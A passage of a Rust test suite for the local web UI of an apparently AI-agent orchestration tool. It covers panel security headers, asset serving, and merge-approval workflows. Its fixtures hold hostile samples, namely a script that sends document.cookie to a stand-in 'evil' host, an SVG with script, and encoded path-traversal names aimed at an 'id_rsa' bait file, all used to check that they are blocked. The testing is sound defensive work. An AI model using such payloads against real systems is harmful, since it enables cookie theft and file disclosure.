12073 serde_json::to_string_pretty(&state).expect("serialize run"),
12074 )
12075 .expect("write run.json");
12076 }
12077
12078 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12082 let mut state = RunState::new(
12083 PathBuf::from(repo),
12084 "main".to_owned(),
12085 "0123456789abcdef".to_owned(),
12086 "task".to_owned(),
12087 Config::default(),
12088 );
12089 state.id = id.to_owned();
12090 state.status = status;
12091 let dir = runs.join(id);
12092 std::fs::create_dir_all(&dir).expect("run dir");
12093 std::fs::write(
12094 dir.join("run.json"),
12095 serde_json::to_string_pretty(&state).expect("serialize run"),
12096 )
12097 .expect("write run.json");
12098 }
12099
12100 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12101 let body = serde_json::json!({
12102 "schema": 1,
12103 "pid": 4242,
12104 "started_at": Timestamp::now().to_string(),
12105 "updated_at": updated_at.to_string(),
12106 "idle": false,
12107 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12108 "completed": 7,
12109 "polls": 143,
12110 });
12111 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12112 }
12113
12114 fn launch_idle(
12124 _opts: daemon::Opts,
12125 stop: daemon::Stop,
12126 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12127 Box::pin(async move {
12128 while !stop.stopped() {
12129 tokio::time::sleep(Duration::from_millis(2)).await;
12130 }
12131 Ok(())
12132 })
12133 }
12134
12135 fn launch_broken(
12138 _opts: daemon::Opts,
12139 _stop: daemon::Stop,
12140 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12141 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12146 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12147 Box::pin(async move {
12148 Err(anyhow::anyhow!(if first {
12149 "publish the daemon status file: read-only file system"
12150 } else {
12151 "the restarted stand-in failed as well"
12152 }))
12153 })
12154 }
12155
12156 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12165 for _ in 0..SETTLE_STEPS {
12166 let view = fx.get("/api/loop").await.json();
12167 if want(&view) {
12168 return view;
12169 }
12170 tokio::time::sleep(Duration::from_millis(10)).await;
12171 }
12172 panic!(
12173 "the loop never settled: {}",
12174 fx.get("/api/loop").await.json()
12175 );
12176 }
12177
12178 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12180 let store = fx.questions();
12181 let mut q = Question::new(
12182 "20260902-000000-beef".to_owned(),
12183 "implement".to_owned(),
12184 "impl-A".to_owned(),
12185 summary.to_owned(),
12186 "because it matters".to_owned(),
12187 choices.iter().map(|c| (*c).to_owned()).collect(),
12188 );
12189 store.put(&mut q).expect("put question");
12190 q.id
12191 }
12192
12193 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12199 let store = fx.questions();
12200 let mut q = Question::new(
12201 "20260902-000000-beef".to_owned(),
12202 "land".to_owned(),
12203 "fix".to_owned(),
12204 "Merge this?".to_owned(),
12205 "the diff is in the panel".to_owned(),
12206 vec!["merge".to_owned(), "hold".to_owned()],
12207 );
12208 let staging = fx.home.path().join("staging");
12211 std::fs::create_dir_all(&staging).expect("staging dir");
12212 let sources: Vec<PathBuf> = assets
12213 .iter()
12214 .map(|(name, bytes)| {
12215 let path = staging.join(name);
12216 std::fs::write(&path, bytes).expect("write staged asset");
12217 path
12218 })
12219 .collect();
12220 store
12221 .put_panel(&mut q, html, &sources)
12222 .expect("write the panel");
12223 store.put(&mut q).expect("put question");
12224 q.id
12225 }
12226
12227 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12236 seed_talk_at(&fx.talks(), id, status)
12237 }
12238
12239 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12240 std::fs::create_dir_all(store.root()).expect("talks dir");
12241 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12242 .expect("serialize a seat");
12243 let body = serde_json::json!({
12244 "schema": 1,
12245 "id": id,
12246 "repo": "/repo/magi",
12247 "agent": "mock",
12248 "status": status,
12249 "turns": [],
12250 "created_at": Timestamp::now().to_string(),
12251 "updated_at": Timestamp::now().to_string(),
12252 "seat": seat,
12253 });
12254 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12255 store.get(id).expect("the seeded talk has to be readable");
12256 id.to_owned()
12257 }
12258
12259 #[tokio::test]
12260 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12261 let fx = Fixture::start().await;
12262 let id = panel(
12263 &fx,
12264 "<h1>Merge?</h1><img src=\"diff.svg\">",
12265 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12266 );
12267
12268 for path in [
12269 format!("/api/questions/{id}/panel"),
12270 format!("/api/questions/{id}/asset/diff.svg"),
12271 ] {
12272 let res = fx.get(&path).await;
12273 assert_eq!(res.status, 200, "{path}: {}", res.body);
12274 assert_eq!(
12280 res.header("content-security-policy"),
12281 Some(
12282 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12283 font-src data:; base-uri 'none'; form-action 'none'; \
12284 frame-ancestors 'self'"
12285 ),
12286 "{path} is the only thing between a hostile panel and the tailnet"
12287 );
12288 assert_eq!(
12289 res.header("x-content-type-options"),
12290 Some("nosniff"),
12291 "{path}: a browser must not re-decide the type we sent"
12292 );
12293 assert_eq!(
12294 res.header("referrer-policy"),
12295 Some("no-referrer"),
12296 "{path}: a panel must not leak the question id off the machine"
12297 );
12298
12299 let pre = fx.head(&path).await;
12304 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12305 assert_eq!(
12306 pre.header("content-security-policy"),
12307 res.header("content-security-policy"),
12308 "{path}: the preflight carries the same policy"
12309 );
12310 assert_eq!(
12311 pre.header("content-type"),
12312 res.header("content-type"),
12313 "{path}: the preflight carries the same type"
12314 );
12315 }
12316 }
12317
12318 #[tokio::test]
12319 async fn a_panel_reaches_the_browser_byte_for_byte() {
12320 let fx = Fixture::start().await;
12321 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
12326 let id = panel(&fx, html, &[]);
12327
12328 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12329
12330 assert_eq!(res.status, 200);
12331 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12332 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12333 assert_eq!(
12334 res.header("content-disposition"),
12335 None,
12336 "the panel itself is rendered in the frame, not downloaded"
12337 );
12338 }
12339
12340 #[tokio::test]
12341 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12342 let fx = Fixture::start().await;
12343 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12344 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12345 let id = panel(
12346 &fx,
12347 "<img src=\"diff.svg\"><img src=\"shot.png\">",
12348 &[("diff.svg", svg), ("shot.png", png)],
12349 );
12350
12351 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12352 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12353
12354 assert_eq!(as_svg.status, 200);
12355 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12356 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12361
12362 assert_eq!(as_png.status, 200);
12363 assert_eq!(as_png.header("content-type"), Some("image/png"));
12364 assert_eq!(
12365 as_png.header("content-disposition"),
12366 None,
12367 "a raster image has no execution surface, so tapping it still shows it"
12368 );
12369 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12370 }
12371
12372 #[tokio::test]
12373 async fn an_html_asset_is_never_served_as_html() {
12374 let fx = Fixture::start().await;
12375 let id = panel(
12376 &fx,
12377 "<p>see the notes</p>",
12378 &[
12379 (
12380 "notes.html",
12381 b"<script>fetch('http://evil/'+document.cookie)</script>",
12382 ),
12383 ("hook.js", b"fetch('http://evil/')"),
12384 ("data.json", b"{}"),
12385 ("HEADLINE.TXT", b"plain"),
12386 ],
12387 );
12388
12389 for name in ["notes.html", "hook.js", "data.json"] {
12390 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12391 assert_eq!(res.status, 200, "{name}: {}", res.body);
12392 assert_eq!(
12397 res.header("content-type"),
12398 Some("application/octet-stream"),
12399 "{name} must not be a type the browser will execute or render"
12400 );
12401 }
12402 let txt = fx
12405 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12406 .await;
12407 assert_eq!(
12408 txt.header("content-type"),
12409 Some("text/plain; charset=utf-8")
12410 );
12411 }
12412
12413 #[tokio::test]
12414 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12415 let fx = Fixture::start().await;
12416 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12417 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12421
12422 for encoded in [
12429 "%2e%2e%2fid_rsa",
12430 "..%2fid_rsa",
12431 "..%5cid_rsa",
12432 "%2e%2e%5cid_rsa",
12433 "diff%00.svg",
12434 "..",
12435 ".hidden",
12436 "%2e%2e%2f%2e%2e%2fid_rsa",
12437 ] {
12438 let res = fx
12439 .get(&format!("/api/questions/{id}/asset/{encoded}"))
12440 .await;
12441 assert_eq!(
12442 res.status, 400,
12443 "`{encoded}` has to be refused by name, not looked up: {}",
12444 res.body
12445 );
12446 assert!(res.json()["error"].is_string(), "{}", res.body);
12447 }
12448
12449 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12455 let res = fx
12456 .get(&format!("/api/questions/{id}/asset/{literal}"))
12457 .await;
12458 assert_eq!(
12459 res.status, 404,
12460 "`{literal}` must not match the asset route at all: {}",
12461 res.body
12462 );
12463 }
12464 }
12465
12466 #[tokio::test]
12467 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12468 let fx = Fixture::start().await;
12469 let plain = ask(&fx, "Which backend?", &["SQLite"]);
12470 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12471
12472 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12476 assert_eq!(none.status, 404, "{}", none.body);
12477 assert!(none.json()["error"].is_string(), "{}", none.body);
12478 assert_eq!(
12479 fx.head(&format!("/api/questions/{plain}/panel"))
12480 .await
12481 .status,
12482 404,
12483 "the preflight is the only way the client can learn this"
12484 );
12485
12486 let missing = fx
12488 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12489 .await;
12490 assert_eq!(missing.status, 404, "{}", missing.body);
12491 assert!(missing.json()["error"].is_string(), "{}", missing.body);
12492
12493 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12495 assert_eq!(
12496 fx.get("/api/questions/nope/asset/diff.svg").await.status,
12497 404
12498 );
12499 }
12500
12501 #[tokio::test]
12502 async fn a_run_with_an_open_question_reads_as_waiting() {
12503 let fx = Fixture::start().await;
12504 let run = "20260902-000000-beef".to_owned();
12505 write_run(&fx.runs(), &run, RunStatus::Implementing);
12506
12507 let before = fx.get("/api/runs").await.json();
12508 assert_eq!(before[0]["waiting"], false, "{before}");
12509
12510 let store = fx.questions();
12511 let mut q = Question::new(
12512 run.clone(),
12513 "implement".to_owned(),
12514 "impl-A".to_owned(),
12515 "Which backend?".to_owned(),
12516 String::new(),
12517 vec!["SQLite".to_owned()],
12518 );
12519 store.put(&mut q).expect("put");
12520
12521 let during = fx.get("/api/runs").await.json();
12522 assert_eq!(during[0]["waiting"], true, "{during}");
12523
12524 q.answer(Answer::Choice("SQLite".to_owned()))
12527 .expect("answer");
12528 store.put(&mut q).expect("put");
12529 let after = fx.get("/api/runs").await.json();
12530 assert_eq!(after[0]["waiting"], false, "{after}");
12531 }
12532
12533 #[tokio::test]
12534 async fn an_open_question_is_listed_and_counted_by_health() {
12535 let fx = Fixture::start().await;
12536 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12537
12538 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12539 let listed = fx.get("/api/questions").await.json();
12540 assert_eq!(listed.as_array().expect("array").len(), 1);
12541 assert_eq!(listed[0]["id"], id);
12542 assert_eq!(listed[0]["status"], "open");
12543 assert_eq!(listed[0]["choices"][1], "Redis");
12544 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12547 }
12548
12549 fn obsolete_approval_state() -> RunState {
12550 let mut state = crate::land::tests::repair_state(true, true);
12551 state.pr = Some(crate::run::PrRecord {
12552 url: "https://github.com/example/repo/pull/42".into(),
12553 number: 42,
12554 state: "open".into(),
12555 checks: "green".into(),
12556 round: 1,
12557 rounds: 4,
12558 red_at_merge: Vec::new(),
12559 });
12560 state
12561 }
12562
12563 #[tokio::test]
12564 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12565 for owner in ["missing", "current", "completed", "later"] {
12566 let fx = Fixture {
12567 home: TempDir::new().unwrap(),
12568 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12569 };
12570 let mut state = obsolete_approval_state();
12571 state.status = RunStatus::Landing;
12572 state.parked = true;
12573 state.driver_exited = true;
12574 let mut q = Question::new(
12575 state.id.clone(),
12576 crate::land::APPROVAL_NODE.into(),
12577 "land".into(),
12578 "Old approval".into(),
12579 "Original evidence".into(),
12580 vec!["merge".into(), "hold".into()],
12581 );
12582 state.land_approval = Some(crate::run::LandApproval {
12583 question: q.id.clone(),
12584 head: "head".into(),
12585 });
12586 state.save_under(fx.home.path()).unwrap();
12587 let stale = state.clone();
12588 fx.questions().put(&mut q).unwrap();
12589 let mut task = Task::new(
12590 "Owner".into(),
12591 "Original instruction".into(),
12592 state.repo.clone(),
12593 Source::Human,
12594 );
12595 task.runs.push(state.id.clone());
12596 task.status = if owner == "completed" {
12597 TaskStatus::Done
12598 } else {
12599 TaskStatus::Parked
12600 };
12601 if owner == "later" {
12602 task.runs.push("later-run".into());
12603 }
12604 if owner != "missing" {
12605 fx.queue().put(&mut task).unwrap();
12606 }
12607 let ui = Arc::new(Ui::new(
12608 fx.queue(),
12609 fx.questions(),
12610 fx.talks(),
12611 fx.runs(),
12612 fx.home.path().into(),
12613 state.repo.clone(),
12614 ));
12615 let response = question_answer(
12616 State(ui),
12617 Path(q.id.clone()),
12618 Ok(Json(NewAnswer {
12619 choice: Some(crate::merge_decision::DISMISS.into()),
12620 text: None,
12621 ..Default::default()
12622 })),
12623 )
12624 .await
12625 .unwrap();
12626 assert_eq!(
12627 response.0.question.resolution().as_deref(),
12628 Some(crate::merge_decision::DISMISS)
12629 );
12630 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12631 assert_eq!(disk.status, RunStatus::Superseded);
12632 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12633 assert!(!crate::merge_decision::resumable_hold(&disk));
12634 assert_eq!(
12635 serde_json::to_value(&disk.pr).unwrap(),
12636 serde_json::to_value(&stale.pr).unwrap()
12637 );
12638 assert_eq!(fx.questions().count_open(), 0);
12639 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12640 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12641 if owner == "missing" {
12642 assert!(fx.queue().list().is_empty());
12643 } else {
12644 let after = fx.queue().get(&task.id).unwrap();
12645 assert_eq!(
12646 after.status,
12647 if owner == "current" {
12648 TaskStatus::Done
12649 } else {
12650 task.status
12651 }
12652 );
12653 assert_eq!(after.runs, task.runs);
12654 assert_eq!(after.instruction, task.instruction);
12655 assert_eq!(after.action_applied(&q.id), owner == "current");
12656 }
12657 }
12658 }
12659
12660 #[tokio::test]
12661 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
12662 let fx = Fixture::start().await;
12663 let mut state = obsolete_approval_state();
12664 state.status = RunStatus::Landing;
12665 state.parked = true;
12666 state.driver_exited = true;
12667 let mut q = Question::new(
12668 state.id.clone(),
12669 crate::land::APPROVAL_NODE.into(),
12670 "land".into(),
12671 "Superseded PR approval".into(),
12672 "Original review evidence".into(),
12673 vec!["merge".into(), "hold".into()],
12674 );
12675 state.land_approval = Some(crate::run::LandApproval {
12676 question: q.id.clone(),
12677 head: "old-reviewed-head".into(),
12678 });
12679 state.save_under(fx.home.path()).unwrap();
12682 let stale_driver = state.clone();
12683 fx.questions().put(&mut q).unwrap();
12684 let path = fx
12685 .home
12686 .path()
12687 .join("questions")
12688 .join(format!("{}.json", q.id));
12689 let mut legacy = serde_json::to_value(&q).unwrap();
12690 legacy["schema"] = 9.into();
12691 legacy.as_object_mut().unwrap().remove("merge_target");
12692 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
12693
12694 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12697 let answer_path = format!("/api/questions/{}/answer", q.id);
12698 let res = fx.post(&answer_path, Some(&body)).await;
12699 assert_eq!(res.status, 200, "{}", res.body);
12700 let disk = fx.questions().get(&q.id).unwrap();
12701 assert_eq!(
12702 disk.resolution().as_deref(),
12703 Some(crate::merge_decision::DISMISS)
12704 );
12705 assert!(disk.detail.starts_with("Original review evidence"));
12706 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
12707 assert_eq!(retired.status, RunStatus::Superseded);
12708 assert_eq!(
12709 serde_json::to_value(&retired.pr).unwrap(),
12710 serde_json::to_value(&state.pr).unwrap()
12711 );
12712 assert!(!retired.merge_decision.as_ref().unwrap().closed);
12713 assert!(!crate::merge_decision::resumable_hold(&retired));
12714 assert!(fx.queue().list().is_empty());
12715 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12716 let addr = Fixture::serve(
12718 fx.home.path(),
12719 PathBuf::from("/repo/magi"),
12720 launch_idle,
12721 None,
12722 )
12723 .await;
12724 let reconnected = Fixture {
12725 home: fx.home,
12726 addr,
12727 };
12728 let listed = reconnected.get("/api/questions").await.json();
12729 assert!(
12730 listed
12731 .as_array()
12732 .unwrap()
12733 .iter()
12734 .all(|q| q["status"] != "open")
12735 );
12736 assert_eq!(listed[0]["id"], q.id, "history remains available");
12737 assert_eq!(
12738 reconnected.get("/api/health").await.json()["questions_open"],
12739 0
12740 );
12741 assert_eq!(
12742 reconnected
12743 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
12744 .await
12745 .status,
12746 409
12747 );
12748 assert!(
12750 reconnected
12751 .questions()
12752 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
12753 .is_err()
12754 );
12755 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
12758 }
12759
12760 #[tokio::test]
12761 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
12762 let fx = Fixture::start().await;
12763 let mut state = obsolete_approval_state();
12764 state.status = RunStatus::Landing;
12765 state.driver_exited = true;
12766 let mut q = Question::new(
12767 state.id.clone(),
12768 crate::land::APPROVAL_NODE.into(),
12769 "land".into(),
12770 "Obsolete approval".into(),
12771 String::new(),
12772 vec!["merge".into(), "hold".into()],
12773 );
12774 state.land_approval = Some(crate::run::LandApproval {
12775 question: q.id.clone(),
12776 head: "head".into(),
12777 });
12778 state.save_under(fx.home.path()).unwrap();
12779 fx.questions().put(&mut q).unwrap();
12780 let mut task = Task::new(
12781 "Owner".into(),
12782 "Original instruction".into(),
12783 state.repo.clone(),
12784 Source::Human,
12785 );
12786 task.runs = vec![state.id.clone(), "later-run".into()];
12787 fx.queue().put(&mut task).unwrap();
12788 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
12789 let claim = fx.queue().claim(&task.id).unwrap();
12790 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12791 let path = format!("/api/questions/{}/answer", q.id);
12792 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12793 assert!(fx.questions().get(&q.id).unwrap().status.open());
12794 drop(claim);
12795 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
12796 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12797 assert!(fx.questions().get(&q.id).unwrap().status.open());
12798 drop(publication);
12799 state.driver_exited = false;
12801 state.driver_pid = None;
12802 state.driver_claimed = None; state.save_under(fx.home.path()).unwrap();
12804 assert_eq!(
12805 state.liveness_under(fx.home.path(), false),
12806 crate::run::Liveness::Unknown
12807 );
12808
12809 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12810 state.driver_exited = true;
12811 state.land_armed_head = Some("head".into());
12812 state.save_under(fx.home.path()).unwrap();
12813 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
12814 state.land_armed_head = None;
12815 state.save_under(fx.home.path()).unwrap();
12816 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12817 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12818 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
12819 }
12820
12821 #[tokio::test]
12822 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
12823 let fx = Fixture::start().await;
12824 let mut state = obsolete_approval_state();
12825 state.status = RunStatus::Landing;
12826 state.driver_exited = true;
12827 let mut q = Question::new(
12828 state.id.clone(),
12829 crate::land::APPROVAL_NODE.into(),
12830 "land".into(),
12831 "Obsolete approval".into(),
12832 String::new(),
12833 vec!["merge".into(), "hold".into()],
12834 );
12835 state.land_approval = Some(crate::run::LandApproval {
12836 question: q.id.clone(),
12837 head: "head".into(),
12838 });
12839 state.save_under(fx.home.path()).unwrap();
12840 fx.questions().put(&mut q).unwrap();
12841 let mut task = Task::new(
12842 "Owner".into(),
12843 "Original instruction".into(),
12844 state.repo.clone(),
12845 Source::Human,
12846 );
12847 task.runs.push(state.id.clone());
12848 task.status = TaskStatus::Parked;
12849 fx.queue().put(&mut task).unwrap();
12850 state.merge_decision = Some(crate::merge_decision::Decision {
12853 question: q.id.clone(),
12854 target: crate::merge_decision::Target {
12855 pr: state.pr.as_ref().unwrap().url.clone(),
12856 head: "head".into(),
12857 language: "ja".into(),
12858 },
12859 choice: crate::merge_decision::DISMISS.into(),
12860 closed: false,
12861 replacement_run: None,
12862 replacement_pr: None,
12863 });
12864 state.status = RunStatus::Superseded;
12865 state.save_under(fx.home.path()).unwrap();
12866 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
12867 let path = format!("/api/questions/{}/answer", q.id);
12868 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
12869 let done = fx.queue().get(&task.id).unwrap();
12870 assert_eq!(done.status, TaskStatus::Done);
12871 assert_eq!(done.runs, task.runs);
12872 assert_eq!(done.instruction, task.instruction);
12873 assert!(done.action_applied(&q.id));
12874 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12875 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
12876 assert!(!fx.questions().get(&q.id).unwrap().status.open());
12877 }
12878
12879 #[tokio::test]
12880 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
12881 let home = TempDir::new().unwrap();
12882 let ui = Arc::new(Ui::new(
12883 Queue::at(home.path().join("queue")),
12884 Questions::at(home.path().join("questions")),
12885 Talks::at(home.path().join("talks")),
12886 home.path().join("runs"),
12887 home.path().to_owned(),
12888 home.path().to_owned(),
12889 ));
12890 let talks = &ui.talks;
12891 let chat =
12892 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
12893 let mut q = Question::new(
12894 "run".into(),
12895 crate::land::APPROVAL_NODE.into(),
12896 "land".into(),
12897 "Merge?".into(),
12898 String::new(),
12899 vec!["merge".into(), "hold".into()],
12900 );
12901 q.routed_task = Some("task".into());
12902 q.routed_chat = Some(chat.id.clone());
12903 q.merge_target = Some(crate::merge_decision::Target {
12904 pr: "https://example.test/pull/1".into(),
12905 head: "head-a".into(),
12906 language: "en".into(),
12907 });
12908 ui.questions.put(&mut q).unwrap();
12909 let send = |body| {
12910 question_answer(
12911 State(ui.clone()),
12912 Path(q.id.clone()),
12913 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12914 )
12915 };
12916 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12917 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12918 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12919 assert!(send(wrong_chat).await.is_err());
12920 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12921 assert!(send(stale).await.is_err());
12922 assert!(ui.questions.get(&q.id).unwrap().status.open());
12923 assert!(send(button.clone()).await.is_ok());
12924 assert_eq!(
12925 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12926 Some("merge")
12927 );
12928 assert!(send(button).await.is_err());
12929 }
12930
12931 #[tokio::test]
12932 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12933 let home = TempDir::new().unwrap();
12934 let ui = Arc::new(Ui::new(
12935 Queue::at(home.path().join("queue")),
12936 Questions::at(home.path().join("questions")),
12937 Talks::at(home.path().join("talks")),
12938 home.path().join("runs"),
12939 home.path().to_owned(),
12940 home.path().to_owned(),
12941 ));
12942 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12943 let mut q = Question::new(
12944 "run".into(),
12945 crate::land::APPROVAL_NODE.into(),
12946 "land".into(),
12947 "Merge?".into(),
12948 String::new(),
12949 vec!["merge".into(), choice.into()],
12950 );
12951 q.routed_task = Some("task".into());
12952 q.merge_target = Some(crate::merge_decision::Target {
12953 pr: "https://example.test/pull/1".into(),
12954 head: "head-a".into(),
12955 language: "en".into(),
12956 });
12957 ui.questions.put(&mut q).unwrap();
12958 let answer = |c: &str| {
12959 question_answer(
12960 State(ui.clone()),
12961 Path(q.id.clone()),
12962 Ok(Json(
12963 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12964 .unwrap(),
12965 )),
12966 )
12967 };
12968 let _ = answer(choice).await.unwrap();
12969 assert_eq!(
12970 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12971 Some(choice)
12972 );
12973 }
12974 }
12975
12976 #[tokio::test]
12977 async fn a_routed_decision_records_a_plain_answer_on_the_question_route() {
12978 let home = TempDir::new().unwrap();
12979 let ui = Arc::new(Ui::new(
12980 Queue::at(home.path().join("queue")),
12981 Questions::at(home.path().join("questions")),
12982 Talks::at(home.path().join("talks")),
12983 home.path().join("runs"),
12984 home.path().to_owned(),
12985 home.path().to_owned(),
12986 ));
12987 let mut q = Question::new(
12988 "run".into(),
12989 crate::github_text::ASK_NODE.into(),
12990 "posting-gate".into(),
12991 "Post?".into(),
12992 String::new(),
12993 vec!["use fallback".into()],
12994 );
12995 q.routed_task = Some("task".into());
12996 ui.questions.put(&mut q).unwrap();
12997 let sent = question_answer(
12998 State(ui.clone()),
12999 Path(q.id.clone()),
13000 Ok(Json(
13001 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
13002 .unwrap(),
13003 )),
13004 )
13005 .await;
13006 let _ = sent.unwrap();
13007 assert_eq!(
13008 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
13009 Some("use fallback")
13010 );
13011 }
13012
13013 #[tokio::test]
13014 async fn merge_decision_api_persists_exact_target_and_selected_action() {
13015 let fx = Fixture {
13016 home: TempDir::new().unwrap(),
13017 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
13018 };
13019 for choice in [
13020 crate::land::HOLD,
13021 crate::land::REPAIR,
13022 crate::land::APPROVE,
13023 crate::merge_decision::WITHDRAW,
13024 "reimplement:beta",
13025 ] {
13026 let mut q = Question::new(
13027 "old-run".into(),
13028 crate::land::APPROVAL_NODE.into(),
13029 "land".into(),
13030 "Decision".into(),
13031 "Review findings".into(),
13032 vec![
13033 "merge".into(),
13034 "hold".into(),
13035 crate::land::REPAIR.into(),
13036 crate::merge_decision::WITHDRAW.into(),
13037 "reimplement:beta".into(),
13038 ],
13039 );
13040 q.merge_target = Some(crate::merge_decision::Target {
13041 pr: "https://github.com/example/repo/pull/42".into(),
13042 head: "exact-reviewed-head".into(),
13043 language: "ja".into(),
13044 });
13045 q.consult = Some(ask::ChatConsult {
13046 talk: "another-conversation".into(),
13047 at: jiff::Timestamp::now(),
13048 });
13049 fx.questions().put(&mut q).unwrap();
13050 let ui = Arc::new(Ui::new(
13051 fx.queue(),
13052 fx.questions(),
13053 fx.talks(),
13054 fx.runs(),
13055 fx.home.path().into(),
13056 std::path::PathBuf::from("."),
13057 ));
13058 let response = question_answer(
13059 State(ui.clone()),
13060 Path(q.id.clone()),
13061 Ok(Json(NewAnswer {
13062 choice: Some(choice.into()),
13063 text: None,
13064 ..Default::default()
13065 })),
13066 )
13067 .await
13068 .unwrap();
13069 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
13070 let disk = fx.questions().get(&q.id).unwrap();
13071 assert_eq!(disk.merge_target, q.merge_target);
13072 assert_eq!(disk.consult, q.consult);
13073 assert_eq!(disk.resolution().as_deref(), Some(choice));
13074 assert!(
13075 question_answer(
13076 State(ui),
13077 Path(q.id.clone()),
13078 Ok(Json(NewAnswer {
13079 choice: Some("merge".into()),
13080 text: None,
13081 ..Default::default()
13082 }))
13083 )
13084 .await
13085 .is_err(),
13086 "an already settled decision cannot turn into merge approval"
13087 );
13088 }
13089 }
13090
13091 #[tokio::test]
13092 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
13093 let fx = Fixture {
13094 home: TempDir::new().unwrap(),
13095 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
